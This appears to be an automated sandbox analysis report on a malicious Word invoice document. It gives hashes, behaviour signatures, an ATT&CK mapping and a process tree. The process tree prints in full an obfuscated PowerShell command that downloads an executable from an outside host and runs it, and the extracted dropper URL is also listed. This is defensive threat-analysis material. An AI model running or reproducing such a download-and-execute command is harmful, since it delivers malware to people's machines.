Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    14-10-2021 10:19

General

  • Target

    Scanned_invoice_8765456_091257.doc

  • Size

    55KB

  • MD5

    7e039d3c0e2d0df8214cedffeca95760

  • SHA1

    113611901a4ea795a3df3714349c3f206f4db0cd

  • SHA256

    7dba782e988f0c5b44443e496bc1e8b55931b652ae353ae854f55df6eabf90fb

  • SHA512

    57c85d18657cf4d6fd4b6a8d18eda6ccbd4c548e42caffc9a9b3d231f114c2e863aeeaf79dcb2dc7c2880135d55a611d51b3345ab9bfbd517f64e380015e691a

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://secure01wa.2waky.com/v/App16.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Scanned_invoice_8765456_091257.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\mindwatch.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`ps://secure01wa.2waky.com/v/App16.e`xe -Destination C:\Users\Public\Documents\badlike.e`xe;C:\Users\Public\Documents\badlike.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:872
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1720

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Public\Documents\mindwatch.cmd
      MD5

      3ae556fb3d6bc97515b87db89b81d2c8

      SHA1

      b2a9332f6648a6aaa351ef9380b6f3882f7fc4a7

      SHA256

      ee6392307e667e11aded0e7ef4fb2ec580917f8fb6651913b94e34d508764abe

      SHA512

      f02aa8bb5ca70b1e5bae2dc6d252c98504cc424e8b78139179f6fc9bddcc5f679636e0c9f2c448b7e197e78102055f5fc26f9cceb11a7e36acbd081ba0ee8b39

    • memory/872-64-0x00000000023D2000-0x00000000023D4000-memory.dmp
      Filesize

      8KB

    • memory/872-60-0x0000000000000000-mapping.dmp
    • memory/872-62-0x00000000023D0000-0x00000000023D1000-memory.dmp
      Filesize

      4KB

    • memory/872-63-0x00000000023D1000-0x00000000023D2000-memory.dmp
      Filesize

      4KB

    • memory/1248-58-0x0000000000000000-mapping.dmp
    • memory/1720-65-0x0000000000000000-mapping.dmp
    • memory/1720-66-0x000007FEFBF91000-0x000007FEFBF93000-memory.dmp
      Filesize

      8KB

    • memory/2040-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2040-57-0x0000000075BD1000-0x0000000075BD3000-memory.dmp
      Filesize

      8KB

    • memory/2040-55-0x0000000070501000-0x0000000070503000-memory.dmp
      Filesize

      8KB

    • memory/2040-54-0x0000000072A81000-0x0000000072A84000-memory.dmp
      Filesize

      12KB

    • memory/2040-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB